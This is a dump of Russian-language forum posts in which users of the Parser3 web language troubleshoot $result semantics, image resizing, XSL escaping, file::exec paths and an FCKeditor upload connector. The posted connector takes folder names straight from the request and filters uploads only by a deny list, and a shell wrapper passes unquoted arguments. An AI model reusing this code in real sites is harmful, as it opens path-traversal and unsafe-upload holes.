"71170","... собрать из CVS-HEAD Парсер 3.4.0 и парсеровский драйвер для mysql (libparser3mysql.so). Они поддерживают 64-битные системы."
"71171","О! Вот это подойдёт. Спасибо!\
Я думал что проблема в самом операторе, а не в его аргументе."
"71172","Спасибо за совет. Но чем он мне поможет?"
"71173","Проблема решена следующим файлом [url=\"http://www.parser.ru/forum/?id=69960\"]http://www.parser.ru/forum/?id=69960[/url]\
\
Не удаляйте ветку, возможно, пригодится другим. Всем спасибо за помощь! ;)"
"71174","Все настроено и готово к работе\
[url=\"http://www.denwer.ru/packages/base_parser.html\"]http://www.denwer.ru/packages/base_parser.html[/url]"
"71176","Здравствуйте!\
\
Я прочитал это:\
[quot]Каждый метод должен будет или возвращать результат через $result во всех вариантах своего выполнения[/quot]\
\
Но что делать когда не хочю определять $result?. Когда в методе свойства не определён $result, оператор def возвращает лож. Но в свойстве DEFAULT - всегда восзвращаеть [b]истина[/b].\
\
Посмотпите это:\
problem.p\
[code]\
@CLASS\
problem\
\
@create[]\
\
@GET_DEFAULT[v]\
^if($v ne \"_v\"){^if(!def $_v){$_v[Вот она.]}$result[$_v]}\
\
@GET_V[][result]\
^if(1 == 0){$result[*]}\
[/code]\
\
index.html\
[code]\
@USE\
/problem.p\
\
@main[]\
$oProblem[^problem::create[]]\
^test[через свройство DEFAULT]<br/>\
^test[V]<br/>\
\
@test[varname]\
Переменна $varname ^if(!def $oProblem.[$varname]){\
	не определёна.\
}{\
	определёна. $oProblem.[$varname]\
	\
	^if(^oProblem.[$varname].length[] == 0){\
		^if($oProblem.[$varname] is \"string\"){Но это пустая строка.}\
	}\
}\
[/code]\
\
\
3.4.0 beta4 возвращает:\
Переменна через свройство DEFAULT определёна. Но это пустая строка.\
Переменна V не определёна. \
\
3.3.0 возвращает:\
Переменна через свройство DEFAULT определёна. Вот она.\
Переменна V не определёна. \
\
Почемy?"
"71177","Варианты:\
\
[code]1. @GET_DEFAULT[v]\
^if($v ne \"_v\"){^if(!def $_v){$_v[Вот она.]}$_v}\
\
2. @GET_DEFAULT[v]\
$result[^if($v ne \"_v\"){^if(!def $_v){$_v[Вот она.]}$_v}]\
\
3. @GET_DEFAULT[v]\
^if($v ne \"_v\"){^if(!def $_v){$_v[Вот она.]}$result[$_v]}{$result[]}\
[/code]"
"71178","Здравствуйте, спасибо!\
\
Тепер мне кажеться что понимаю ;)\
\
[code]\
4. @GET_DEFAULT[v]\
$result[]^if($v ne \"_v\"){^if(!def $_v){$_v[Вот она.]}$result[$_v]}\
[/code]\
\
Ещё подскажите - как будеть работать явное определение на новом парсере?\
\
[code]\
@GET_DEFAULT[v][result]\
^if($v ne \"_v\"){^if(!def $_v){$_v[Вот она.]}$_v}\
[/code]\
\
...тот же самое самое что...\
\
[code]\
@GET_DEFAULT[v]\
$result[^if($v ne \"_v\"){^if(!def $_v){$_v[Вот она.]}$_v}]\
[/code]\
\
?"
"71179","Но на одно присвоение дольше. :)"
"71180","Уважаемые гуру и монстры парсера, проясните пожалуйста балбесу такой момент:\
есть метод, в методе есть некая переменная [code]$menu_id{$table_param.0}[/code] если обратиться к ней из другого метода то парсер дает ошибку junction used outside of context, если ту же переменную я вычисляю как [code]$menu_id($table_param.0)[/code] то все работает... заставить конструкцию работать я смог, но вот понять этот момент я не могу :( проясните плиз подробно, потому что на мой взгляд в данном случае что совенком об пень что пнем об совенка результат должен быть одинаковым... Заранее спасибо всем ответившим..."
"71182","Извините меня...\
[code]\
@GET_DEFAULT[v]\
^if($v ne \"_v\"){^if(!def $_v){$_v[Вот она.]}$result[$_v]}\
[/code]\
\
Понимаю что этот код нет корректный потомучто не определён $result, но почему в таком случае [b]def $oProblem.some[/b] возвращаеть что он определён? Даже знаем что это строка. Но пустая. В доке написано...\
[quot]не определенными (не def) считаются пустая строка[/quot]\
\
В 3.4.0 можеть существовать пустая строка?\
\
Поздравляю."
"71183","Некорректный код может себя вести как угодно. Рассматривался даже вариант бросания exception. Результат может поменяться даже от изменения порядка вызова методов. Хотите понять, как работает парсер в случае некорректного использования $result - правильнее исходники смотреть (src/types/pa_vmethod_frame.h), а не гадать."
"71184","мне кажеться что pa_vmethod_frame.h написан в с++\
не знаю этого языка.\
\
Что касаеться $ресульт:\
Хорошо - уже буду вежливый :)\
\
Ещё одно - вероятно хорошо бросать exception.\
Можеть буду легче понимать всё с $result в 3.4.0...\
\
Спасибо за великое терпение!"
"71185","Поиск по форуму находит достаточно информации про этому вопросу, в том числе и про вариант с Exception.\
\
http://www.parser.ru/forum/?id=70385\
http://www.parser.ru/forum/?id=70112\
http://www.parser.ru/forum/?id=70084"
"71186","Нужно сделать оплату по кредитным картам на сайте. Парсeр умеет работать с https и ssl?"
"71187","Спасибо буду разбираться хотя пока не осознал"
"71188","На форуме много написано про данный класс, но в моём случае эти решения не помогли, кто сталкивался с такой проблемой помогите..\
Подключил класс images\
прописал пути в images.p\
[code]@auto[]\
$script_path[/bin]\
$script_resize_name[nconvert]\
\
# закоментировать следующие две строки если используется nconvert\
$script_path[/cgi-bin]\
$script_resize_name[images.pl]\
\
#$script_convert_path[/cgi-bin]\
#$script_convert_name[convert.pl]\
\
$nconvert_path[/bin]\
### End @auto[][/code]\
 \
На локальной машине с Денвером сохраняет фото в каталог /pic/big/ с именем temp_ИМЯФАЙЛА.jpg\
\
выдаёт ошибку исходный файл не найден\
эти временные файлы не удаляет...\
На хостинге  UNIX 1gb.ru вообще ничего не сохраняет,  но также выдаёт ошибку  исходный файл не найден...\
проверил на сервере работу ImageMagick и perl \
файл test.pl ошибки не выдаёт\
[code]#!/usr/bin/perl\
\
use CGI::Carp 'fatalsToBrowser';\
\
print \"Content-type: text/plain\\n\\n\";\
use Image::Magick;[/code]"
"71189","В цикле сохраняю фото из формы к каждому лоту.\
[code]^if(def $form:add_lot_step2 ){\
   	     $last_lot[$form:last_lot]\
   	     $source_path[/catalog/foto/big_lot/]\
             $destination_path[/catalog/foto/small/]\
\
      ^for[i](1;$form:kol_foto){\
 	   $id_pic[lot_pic_$i]\
           $extension[^file:justext[$form:$id_pic.name]]\
           $image_name[${last_lot}_${i}.$extension]\
           $format[jpg]\
\
       ^if(!^images:save[$form:$id_pic;$source_path;$image_name;0;$format]){\
       ^if(^extension.lower[] ne ^format.lower[]){\
		  $image_name[${image_name}.$format]\
	      }\
        $status[^images:resize[\
		  $.source_path[$source_path]\
		  $.destination_path[$destination_path]\
		  $.image_name[$image_name]\
		  $.x_size(100)\
		  $.y_size(120)\
		  $.quality[80]\
	      ]]\
\
         $update_lot_foto[^oSql.table{ UPDATE lot set\
         foto = $i WHERE lot_id = $form:last_lot\
         }]\
\
	    ^if(!$status){\
		^rem{ *** Всё ок *** }\
		<div class=\"add_product\"> <u class=\"red\">Вы успешно добавили товар в каталог!!!</u></div>\
\
	    }{\
		^rem{ *** Возникла ошибка *** }\
\
		$status\
	    }\
\
 }}}\
\
Что в данном классе понимается под исходным файлом, временный файл на сервере? \
[/code]\
Кусок Кода из images.p\
\
[code]^switch[$exception.type]{\
				^case[image_file.missing]{$result(3)}	# исходный файл не найден\
				^case[script_file.missing]{$result(4)}	# скрипт (images.pl|nconvert) отсутствует\
				^case[script.error]{$result(5)}		# не получилось выполнить (images.pl|nconvert) скрипт\
			}[/code]"
"71190","http://www.parser.ru/forum/?id=68266 (есть и другие решения)\
\
Но скорее всего вам нужно просто чтобы сайт работал по https - а это настраивается на веб-сервере и к парсеру отношения не имеет."
"71191","Редо бывает, и отследить закономерность сложно. Но вот к примеру у меня сейчас показывает ошибку 302, и список .p-шек, которые не имеют вообще отношения к текущему куску. Кроме того в них указываются строки, в которых ниего не написано.\
\
В других случаях просто exception... и файлы, не имеющие отношения к текущему месту. (ошибка находилась исправлялась совершенно не там)\
\
И это не какие-то неучтенные мною связи. Это действительно абсолютне не относящаяся к ошибкам информация. Если кто имел такой опыт - напишите, может закономерность найдем."
"71192","а если не на локальной тестируете, то отключите все ексцепшины, пусть что в ошибках будет?"
"71193","на локальной не установлен...\
тестирую на удалённой\
после отключения ексцепшинов:\
ошибки не выдаёт, но в small пусто, может не всё отключил..."
"71194","Изменил  в images.p\
[code]@auto[]\
[color=\"#ff0000\"]изменил путь до этого было /bin  [/color]\
$script_path[/usr/bin]\
$script_resize_name[nconvert]\
\
[color=\"#ff0000\"]закоментировал эти строки [/color]\
#$script_path[/cgi-bin]\
#$script_resize_name[images.pl]\
\
$script_convert_path[/cgi-bin]\
$script_convert_name[convert.pl]\
\
$nconvert_path[/usr/bin]\
### End @auto[][/code]\
\
результат на удалённой машине в каталог big. файлы записываются, временные удаляются, в папке small пусто"
"71195","После выполнения запроса SELECT, оформляю следующий XML\
[code]\
#выводим список лотов с помощью XML\
^untaint[as-is]{\
$sourceDoc[\
       ^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
        <lot>\
       \
     \
      <lotdescription>\
      <![CDATA[<b>$select_lot.lot_ps</b>]]>\
      </lotdescription>\
     \
      \
        }\
  </lot>\
 }]\
 }\
$transformedDoc[^sourceDoc.transform[/xml/article.xsl]]\
\
# выдача результата в HTML виде\
^transformedDoc.string[\
$.method[html]\
]\
[/code]\
\
\
XSL Шаблон вывода описания:\
[code]\
\
<xsl:template match=\"lot\">\
    <xsl:apply-templates select=\"lotdescription\" />\
</xsl:template>\
\
<xsl:template match=\"lotdescription\">\
      <p>\
      <xsl:value-of select=\".\" />\
      </p>\
</xsl:template>\
[/code]\
Столкнулся с тем, что если внутри:\
 <lotdescription>\
      <![CDATA[<b>$select_lot.lot_ps</b>]]>\
      </lotdescription>\
будут HTML теги, т. е. если в БД будет текст с тегами <p>, <br/>\
то они будут выводится как текст\
CDATA не помогает.\
^untaint[as-is] тоже...\
Как сделать так, что если администратор сайта, внесёт в БД контент с тегами HTML, чтобы они и воспринимались как  теги HTML?\
И кто преобразовывает их Parser или XML ?"
"71196","пока писал вопрос нашёл ответ на половину вопроса.\
Преобразовывает HTML теги и Parser, и XML.\
С XML решается через CDATA только незабывать в шаблоне добавить \
disable-output-escaping = \"yes\"  \
 [code]XSL Шаблон вывода описания:\
\
<xsl:template match=\"lot\">\
    <xsl:apply-templates select=\"lotdescription\" />\
</xsl:template>\
\
<xsl:template match=\"lotdescription\">\
      <p>\
      <xsl:value-of select=\".\" disable-output-escaping = \"yes\"  />\
      </p>\
</xsl:template>[/code]\
Осталось побороть Parser..."
"71197","ВСЁ и с Parser понятно...\
Надо ^untaint[as-is]\
прописывать, сразу как только принимаем контент из Вне. т.е. из БД,\
а не весь $sourceDoc...\
[code]\
<lotdescription>\
      ^untaint[as-is]{\
      <![CDATA[<b>$select_lot_product.lot_ps</b>]]>\
      }\
</lotdescription>\
[/code]\
\
как вариант без CDATA использовать child::node(): \
в xsl\
[code]\
<xsl:template  match=\"lotdescription\"  >\
    <xsl:copy-of select=\"child::node()\"  />\
</xsl:template>\
\
Будет так:\
<lotdescription>\
      ^untaint[as-is]{\
      $select_lot_product.lot_ps\
      }\
</lotdescription>[/code]\
\
может я и ошибаюсь, но так оно работает..."
"71198","использую nconvert, строки закоментил...\
 но фото в каталоге small нет, ошибку не выдаёт..."
"71199","Если дизейблить кнопку JS-ом, то выносить вешать это лучше на сабмит формы, после чего делать аякс запрос и по его результатам выполнять отсальыне действия. Просто, бываю случаи когда аякс возвращает ошибку, вот тогда лучше снимать дизебл кнопки, что бы пользователь смог его повторно отправить :-)"
"71200","[quot]\
[code]\
   ^if($auth.is_logon && def $form:id){\
	   ^try{\
		$f[^file::sql{Select profile_foto from mainfoto where user_id=$form:id order by id desc limit 1}]\
	   }{\
	        $exception.handled(true)\
	   }\
   }\
   ^if(!def $f){\
		$f[^file::load[binary;/images/man.gif]]\
   }\
[/code]\
[/quot]\
\
Тогда уж вот так:\
[code]\
   ^if($auth.is_logon && ^form:id.int(0)){\
	   ^try{\
		$f[^file::sql{Select profile_foto from mainfoto where user_id=$form:id order by id desc limit 1}]\
	   }{\
	        $exception.handled(true)\
	   }\
   }\
   ^if(!def $f){\
		$f[^file::load[binary;/images/man.gif]]\
   }\
[/code]\
А, то вам передадут в $form:id то что не надо."
"71201","все ли условия из последнего абзаца выполнены?\
http://www.spearance.ru/parser3/pictures/source/\
\
если на все вопросы да: то пример мне в почту вместе с формой загрузки."
"71202","СПАСИБО!!!\
\
Прописал другой путь к ImageMagick \
[code]\
$script_path[/../data/bin/ImageMagick]\
$script_resize_name[nconvert]\
[/code]\
Теперь конвертируется и в Small сохраняется...\
Ошибку не выдовало, методом тыка...\
Как проверить правильно ли путь к модулю ImageMagick ??? \
Служба поддержки сервера сообщила мне другой путь, с которым не работало..."
"71203","В документации написано:\
[i]Внимание: рабочим каталогом запускаемой программы является текущий каталог.[/i]\
\
А у меня почему-то рабочим каталогом скрипта является каталог, в котором этот скрипт лежит.\
\
Т.е. если я запускаю вот такой скрипт:\
#!/bin/sh\
ls -la\
\
он мне показывает сам себя.\
\
Тут есть противоречие, или я неверно понимаю понятие «рабочий каталог»?"
"71204","Можеть быть что авторы документаций хотели обратить наше внимание на положение скриптов вызываемых через ^file::exec[...]\
\
Они работают всегда в катологие в которым они находять. \
Нет в текущим каталоге парсерного сайта.\
\
Хм... можеть быть что \"текущий каталог\" имеет какое-то особенное знчение..."
"71205","[code]$tData[^table::sql{\
	select \
		distinct(ads_types.title) as title, \
		ads_types.id, \
		ads_types.uri, \
		ads_types.google_coords as coords, \
		ads_types.image_desc, \
		ads_types.description as description, \
		ads.published, \
		ads.ads_type \
	from \
		ads_types, \
		ads \
	having \
		ads_types.id = ads.ads_type and ads.published = 1\
}][/code]\
\
Разберётесь? Код простой, но это анальная стимуляция в плане нагрузки для MySql. Тут выбираются только записи ads_types, для которых есть ads и они опубликованы. Грубо говоря, есть куча типов объяв, но самих объяв для этих типов может и не быть - выбираем только те, что есть."
"71206","Доброго времени суток!\
Делаю админку сайта в качестве редактора выбрал FCKeditor.\
Прикрутил FCKeditor, текст редактируется, но работают не все функции...\
как реализовать загрузку фото через  FCKeditor?\
В каталоге filemanager этого  модуля  перечислено много скриптовых языков, но Parser в нём нет :-(\
Может возможно реализовать это через Perl или...\
\
Или есть другие варианты?\
Поделитесь информацией как реализовали редактор у себя на сайте?"
"71207","Насколько помню, он делает аплоад своим скриптом на PHP или еще на чем... Parser ему нафик не нужен. Главное в каталоге FCKeditor\"а отключить обработку документов парсером.\
\
А вобще свой файл-менеджер рулит"
"71208","использую коннектор Parser\
[code]\
@auto[]\
# каталог куда фск сможет что либо закачивать\
$userFiles[/userfiles]\
\
$filePermission[\
	$.Image[\
		$.AllowedExtensions[jpg|gif|jpeg|png]\
		$.DeniedExtensions[]\
	]\
	$.File[\
		$.AllowedExtensions[]\
		$.DeniedExtensions[phtml|php|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|dll|reg]\
	]\
	$.Flash[\
		$.AllowedExtensions[swf|fla]\
		$.DeniedExtensions[]\
	]\
	$.Media[\
		$.AllowedExtensions[swf|fla|jpg|gif|jpeg|png|avi|mpg|mpeg]\
		$.DeniedExtensions[]\
	]\
]\
$resourcePath[\
	$.Image[img]\
	$.File[file]\
	$.Flash[flash]\
	$.Media[]\
]\
\
\
#################################3\
@main[]\
^connect[$CONNECT_STRING]{\
\
\
	^fileManager[]\
\
}\
\
\
#######################\
@fileManager[]\
$now[^date::now[]]\
\
$resourceType[$form:Type]\
$command[$form:Command]\
$currentFolder[$form:CurrentFolder]\
#$currentFolder[^currentFolder.trim[both;\\/]]\
\
$rp[$resourcePath.$resourceType]\
$path[${userFiles}/${rp}$currentFolder]\
$fileExt[$filePermission.[$resourceType].AllowedExtensions]\
$deny[$filePermission.[$resourceType].DeniedExtensions]\
\
\
\
^switch[$command]{\
^case[GetFoldersAndFiles]{$xml[^getFoldersAndFiles[]]}\
^case[CreateFolder]{$xml[^createFolder[$form:NewFolderName]]}\
^case[GetFolders]{$xml[^getFolders[]]}\
^case[FileUpload]{$xml[^fileUpload[]]}\
^case[DEFAULT]{$xml[^getFoldersAndFiles[]]}\
}\
\
$response:Expires[ Mon, 26 Jul 1997 05:00:00 GMT]\
$response:Last-Modified[^now.unix-timestamp[]]\
$response:Cache-Control[no-store, no-cache, must-revalidate,post-check=0, pre-check=0]\
^if($command ne \"FileUpload\"){$response:Content-Type[text/xml^; charset=windows-1251]}\
$response:Pragma[no-cache]\
$response:body[$xml]\
\
$result[]\
\
\
@fileUpload[]\
$error[0]\
^form:fields.foreach[field;value]{\
	^if(^field.pos[NewFile]>=0){\
		$name[$value.name]\
		^try{\
			^if(^name.match[^^.*\\.($deny)^$] || (!^name.match[^^.*\\.($fileExt)^$])){\
#неверное расширение файла\
			$error[202]\
			}{\
			^value.save[binary;${path}$value.name]\
			}\
		}{\
		$error[1000]\
		$exception.handled(1)\
\
		}\
}\
}\
$result[\
<script type=\"text/javascript\">\
window.parent.frames[\"frmUpload\"].OnUploadCompleted($error, '$name')^;\
</script>]\
\
\
\
@listFiles[]\
### Выводит список файлов в формате xml\
\
$list[^file:list[$path;\\.($fileExt)^$]]\
^if(def $list){\
$result[<Files>\
	^list.menu{$f[^file::stat[$path/$list.name]]$sz(^math:round($f.size/1024)) ^if($sz==0){$sz(1)}\
	<File name=\"$list.name\" size=\"$sz\"/>}\
</Files>]\
}{\
$result[<Files/>]\
}\
\
\
@listFolders[]\
### Выводит список каталогов в формате xml\
$list[^file:list[$path]]\
^if(def $list){\
$result[<Folders>\
^list.menu{^if(-d \"$path/$list.name\"){<Folder name=\"$list.name\"/>\
}}\
</Folders> ]\
}{\
$result[<Folders/>]\
}\
\
\
@getFoldersAndFiles[]\
$folders[^listFolders[]]\
$files[^listFiles[]]\
\
$result[^createXmlHeader[]\
$folders\
$files\
^createXmlFooter[]]\
\
\
@getFolders[]\
$folders[^listFolders[]]\
$result[^createXmlHeader[]\
$folders\
^createXmlFooter[]]\
\
\
\
@createXmlHeader[]\
$result[<?xml version=\"1.0\" encoding=\"utf-8\" ?>\
<Connector command=\"$command\" resourceType=\"$resourceType\" >\
<CurrentFolder path=\"$currentFolder\" url=\"$path\" />\
]\
\
@createXmlFooter[]\
$result[</Connector>]\
\
@createFolder[newFolder]\
$f[ ]\
$error[<Error number=\"0\" originalDescription=\"No Error\" />]\
^try{\
^f.save[${path}${newFolder}/tmp.tmp]\
}{\
$exception.handled(1)\
$error[<Error number=\"500\" originalDescription=\"$exception.comment   ${path}${newFolder}/tmp.tmp\" />]\
}\
^if(def $error){\
$body[$error]\
}{\
\
$body[^getFolders[]]\
}\
\
$result[^createXmlHeader[] $body ^createXmlFooter[]]\
[/code]\
\
В fckconfig.js настройки следующие\
[code]FCKConfig.LinkBrowser = true ;\
FCKConfig.LinkBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.htm?Connector=connectors/parser/connector.html';\
\
//FCKConfig.LinkBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;\
FCKConfig.LinkBrowserWindowWidth	= FCKConfig.ScreenWidth * 0.7 ;		// 70%\
FCKConfig.LinkBrowserWindowHeight	= FCKConfig.ScreenHeight * 0.7 ;	// 70%\
\
FCKConfig.ImageBrowser = true ;\
FCKConfig.ImageBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Type=Image&Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;\
FCKConfig.ImageBrowserWindowWidth  = FCKConfig.ScreenWidth * 0.7 ;	// 70% ;\
FCKConfig.ImageBrowserWindowHeight = FCKConfig.ScreenHeight * 0.7 ;	// 70% ;\
\
FCKConfig.FlashBrowser = true ;\
FCKConfig.FlashBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Type=Flash&Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;\
FCKConfig.FlashBrowserWindowWidth  = FCKConfig.ScreenWidth * 0.7 ;	//70% ;\
FCKConfig.FlashBrowserWindowHeight = FCKConfig.ScreenHeight * 0.7 ;	//70% ;\
\
FCKConfig.LinkUpload = true ;\
FCKConfig.LinkUploadURL = FCKConfig.BasePath + 'filemanager/browser/' + FCKConfig.QuickUploadLanguage + '/defaul.' + _QuickUploadLanguage ;\
FCKConfig.LinkUploadAllowedExtensions	= \"\" ;			// empty for all\
FCKConfig.LinkUploadDeniedExtensions	= \".(php|php3|php5|phtml|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|dll|reg|cgi)$\" ;	// empty for no one\
\
FCKConfig.ImageUpload = true ;\
FCKConfig.ImageUploadURL = FCKConfig.BasePath + 'filemanager/browser/' + FCKConfig.QuickUploadLanguage + '/defaul.' + _QuickUploadLanguage + '?Type=Image' ;\
FCKConfig.ImageUploadAllowedExtensions	= \".(jpg|gif|jpeg|png)$\" ;		// empty for all\
FCKConfig.ImageUploadDeniedExtensions	= \"\" ;							// empty for no one\
\
FCKConfig.FlashUpload = true ;\
FCKConfig.FlashUploadURL = FCKConfig.BasePath + 'filemanager/browser/' + FCKConfig.QuickUploadLanguage + '/defaul.' + _QuickUploadLanguage + '?Type=Flash' ;\
FCKConfig.FlashUploadAllowedExtensions	= \".(swf|fla)$\" ;		// empty for all\
FCKConfig.FlashUploadDeniedExtensions	= \"\" ;					// empty for no one[/code]\
\
При обращении к загрузке выскакивает ошибка XML request error: Internal Server Error (500)\
Свой файловый менеджер это хорошо, и он есть,\
Но желание пользователей, привыкли они так..."
"71209","[code]\
@main[]\
^connect[$CONNECT_STRING]{\
\
\
	^fileManager[]\
\
}\
[/code]\
скопировал и не углядел ^connect[$CONNECT_STRING]{} чужое это!!!\
просто редактирую код в блокноте, а на форуме как отпишусь тут с подсветкой и видно баг..."
"71211","Добрый день. Расскажите, пожалуйста, подробно, как собрать parser из исходных кодов под win32, что качать откуда, куда помещать, что запускать и тд. А то почему-то не получается ничего.. :( и еще, собранный parser должен быть .cgi и работать под Linux. Вот этого момента я совсем не могу понять как сделать.. \
Надеюсь не придётся устанавливать Linux, чтобы собрать..\
\
Либо если кому не сложно, соберите для меня его, с пометкой --disable-safe-mode обязательно.. \
\
Заранее спасибо за любой ответ."
"71212","Здравствуйте.\
\
\
Хочешь ли собрать парсер под win32 чтоб он работал под linux?\
Вероятно нет такой возможности. Естьли тебя интересует только парсер с пометкой --disable-safe-mode для linux - он уже собран. \
\
Скачяйте:\
\
http://www.parser.ru/f/1/download/redhat/parser3_3_0_redhat73_grpunlim_cgi_xml.tar.gz"
"71216","указанием одинаковых кодировок вы явно отключили перекодирование.\
правильнее выдать корректный content-type, и тогда парсер сам его (перекодирование) отключит (он перекодирует \"text/*\")."
"71218","Ооо..спасибо! Не знал что есть такая сборка, на сайте не нашел!"
"71219","Добрый день.\
Есть следующая проблема, при добавлении фото в галерею\
\
^if(-f \"../i/gi/${id}.jpg\"){\
^try{$im[^image::measure[../i/gi/${id}.jpg]]}{$exception.handled(1)}\
\
^if(def $im){\
^if($im.width>800){$a[^file::exec[/usr/local/bin/convert;;-scale;800;-antialias;../i/gi/${id}.jpg;../i/gi/${id}.jpg]] $im[^image::measure[../i/gi/${id}.jpg]]}\
^if($im.height>600){$a[^file::exec[/usr/local/bin/convert;;-scale;600;-antialias;../i/gi/${id}.jpg;../i/gi/${id}.jpg]]}\
}\
\
$a[^file::exec[/usr/local/bin/convert;;-scale;300;-antialias;../i/gi/${id}.jpg;../i/gi/${id}_m.jpg]]\
\
$a[^file::exec[/usr/local/bin/convert;;../i/gi/${id}.jpg;-scale;^if(def $im){^if($im.width>$im.height){x}}104;-size;104x71;xc:white;+swap;-gravity;north;-composite;../i/gi/${id}_s.jpg]]\
}\
\
Вот часть скрипта, принцип, большая фотка копируется в /i/gi/${id}.jpg, уменьшенная в /i/gi/${id}_m.jpg, самая маленькая в /i/gi/${id}_s.jpg. Но! Получается так, что копируется только большая, а две маленькие не делаются. Я так понимаю не вызывается скрипт convert. НО! Парсер никак ошибок не выдают, так же как и Apache, то есть фотка добавляется, но уменьшенные не создаются..\
\
Помогите решить проблему. Спасибо!"
"71221","Есть подозрения, что это из-за сборки parser\
\
Ставил эту \
http://www.parser.ru/f/1/download/redhat/parser3_3_0_redhat73_grpunlim_cgi_xml.tar.gz\
это с --disable-safe-mode\
\
Пробовал возвращать другую сборку, которая была до этого, просило пересобрать парсер с --disable-safe-mode, установил эту - фотки не конвертируются, и ошибок никаких нету."
"71222","а то не понятен контекст высказывания.\
\
есть предположение, что имеется в виду, что скрипт, путь к которому указан в file::exec, ищется относительно рабочего каталога, которым является не что иное, как текущий каталог обрабатываемого документа (или document root, если путь начинается со слеша)."
"71224","Но когда я так делал, у меня convert находился. Для теста, я изменял путь на /local/bin/convert - выдавало ошибку, что там нету такого файла. Когда /usr/local/bin/convert - находило, но выдавало ошибку, что \"запрещено использование файлов вне группы\" как-то так, и просьба собрать parser --disable-safe-mode, значит путь правильный.."
"71225","... в file::exec необходимо указывать путь относительно document-root. (какой-нибудь /../../../usr/local/bin/command)"
"71226","я задал ему вначале $request:document-root[], и теперь повторюсь. \
Путь к convert находится правильно, так бы парсер давал ошибку, что нету такого файла по такому пути, а так путь правильный, почему же он тогда сказал мне пересобрать в disable safe mode, чтобы оперировать файлами?.."
"71227","Тыц!\
http://www.parser.ru/docs/lang/?filecgiexec.htm\
\
И вот тут собственно написано:\
[i]Внимание: рабочим каталогом запускаемой программы является текущий каталог.[/i]\
\
Я так понимаю что [b]рабочий каталог запускаемой программы[/b] — это рабочий каталог с точки зрения запускаемой программы. Так?\
А [b]текущий каталог[/b] — это рабочий каталог того кода, в котором написано ^file::cgi[имя файла]. Или нет?\
\
Где я ошибаюсь? Поправьте меня, пожалуйста."
"71228","Попробуйте в ^file::exec[...] указывать путь к фоткам от корня сайта так:\
[code]\
$env:DOCUMENT_ROOT/i/gi/${id}.jpg\
[/code]\
а путь к программе, как Сумо сказал\
[code]/../../../usr/local/bin/convert[/code]"
"71229","[quote]почему же он тогда сказал мне пересобрать в disable safe mode, чтобы оперировать файлами?[/quote]\
\
Не чтобы оперировать файлами, а вероятно чтобы запустить /usr/local/bin/convert, владелец которого root (в сообщении об ошибке пишется полное имя файла, к которому нельзя обратиться). В таких случаях используется промежуточный shell скрипт."
"71230","Попробовал уже безлич вариантов. Всё равно уменьшенные картинки не создаются. И ошибок парсера никаких нет"
"71231","Этот нюанс обошел установкой сборки с --disable-safe-mode."
"71232","Если ошиибок нет, вероятно convert не находит исходную фотку. В этом случае он обычно просто молчит.\
\
Сделайте так:\
[code]$testConvert[^file::exec[ПУТЬ-К-CONVERT;;]]\
^testConvert.text.save[/test.txt][/code]\
если программа найдена и работает, в test.txt попадет ее хелп"
"71233","Добрый день!\
\
Это обходится написанием однострочного скрипта с вашими правами, так называемый врапер. Разместить его можете где угодно и дать права на запуск, например 755\
\
/home/Digger/bin/convert\
[code]\
#!/bin/sh\
# /usr/bin/env - находится во всех ос в одном месте, по крайней мере во FreeBSD и Linux\
# эта штука находит команду  \"convert\" которая как Вы заметили может находиться вразных метсах\
# и передаёт параметры переданные скрипту $*\
/usr/bin/env convert $*\
[/code]\
\
зы: У данного подхода есть проблемма с безопасностью, тк если из ваших скриптов обнаружится возможность модифицировать файл с правами на запуск, то в системе можно сделать всё что угодно с правами вашего пользователя.\
ззы: писал по памяти, могут быть очепятки"
"71234","первое утверждение я не понял, т.к. для меня оно туманно :)\
\
а на второе ответ -- нет.\
\
например код, в котором находится ваш file::exec может быть в auto.p, в каком-нить классе, а запускаться из document_root/path/to/file.html, так вот если в этом вызове указано ^file::exec[dir/script.sh], то будет вызываться такой скрипт:\
document_root/path/to/dir/script.sh"
"71235","что вы имеете в виду под \"ошибками\"? парсерные exception? очевидно, что их не будет. вы загляните в .status и .stderr"
"71237","Здравствуйте\
\
Знаеть ли кто как назыветься переменна хронящаяя обьект созданный \
с помощью родительского класса когда я в дочерном классе?\
\
Можеть быть что я строго попутался - но тепер возник ещю один вопрос:\
Что точно делаеть ^BASE:create[]?\
\
Создаеть-ли ои какой нибудь объект или нет?\
Естьли создаеть то как подобраться к нему?\
\
[code]\
@CLASS\
two\
\
@USE\
/one.p\
\
@BASE\
one\
\
@create[]\
^BASE:create[]\
\
@test[]\
$self.CLASS_NAME ^rem{возвращаеть конечно \"two\"}\
#но я хочю подобраться к обекту класса \"one\"\
[/code]\
\
\
p.s. я искал по форуме почти один час"
"71238","[quot]\
Знаеть ли кто как назыветься переменна хронящаяя обьект созданный \
с помощью родительского класса когда я в дочерном классе?\
[/quot]\
\
попробуйте на примере объяснить, что вам хочется узнать.\
я этот вопрос не понял.\
\
\
[quot]\
Что точно делаеть ^BASE:create[]?\
[/quot]\
\
вызывает _метод_ create, описанный в родительском классе (не конструктор). т.е. никаких доп. объектов не создаётся и добираться не до чего.\
\
например у вас есть класс A, от которого унаследован класс B. и там и там есть конструктор create. вы создаёте объект класса B, и в его конструкторе хотите, чтобы выполнилось то, что описано в методе create класса A + что-то специфическое для B. для этого вы в b.p пишите:\
\
[code]\
@create[]\
# это просто вызов метода create, описанного в a.p\
^BASE:create[]\
# далее идёт специфическое для класса B\
$b[значение]\
[/code]\
\
\
P.S. если вам надо _имя_ родительского класса вашего объекта/класса, то в 3.4.0 можно так: ^reflection:base_name[ваш объект или класс] или ^reflection:class_name[^reflection:base[ваш объект или класс]]"
"71239","Попробовал что Вы посоветовали. Выдается exception\
\
[code]Requests:\
uri: /admin/index.html?applet=7&act=photo&load=ok&cat=6035\
\
-------------12:03 06/11/2009-------------\
applet = 7\
load = ok\
title = tybjtj\
urlfile = \
act = photo\
cat = 6035\
file transfer: f = hk.png\
txt = \
\
\
User:\
ip: ***\
name: ***\
\
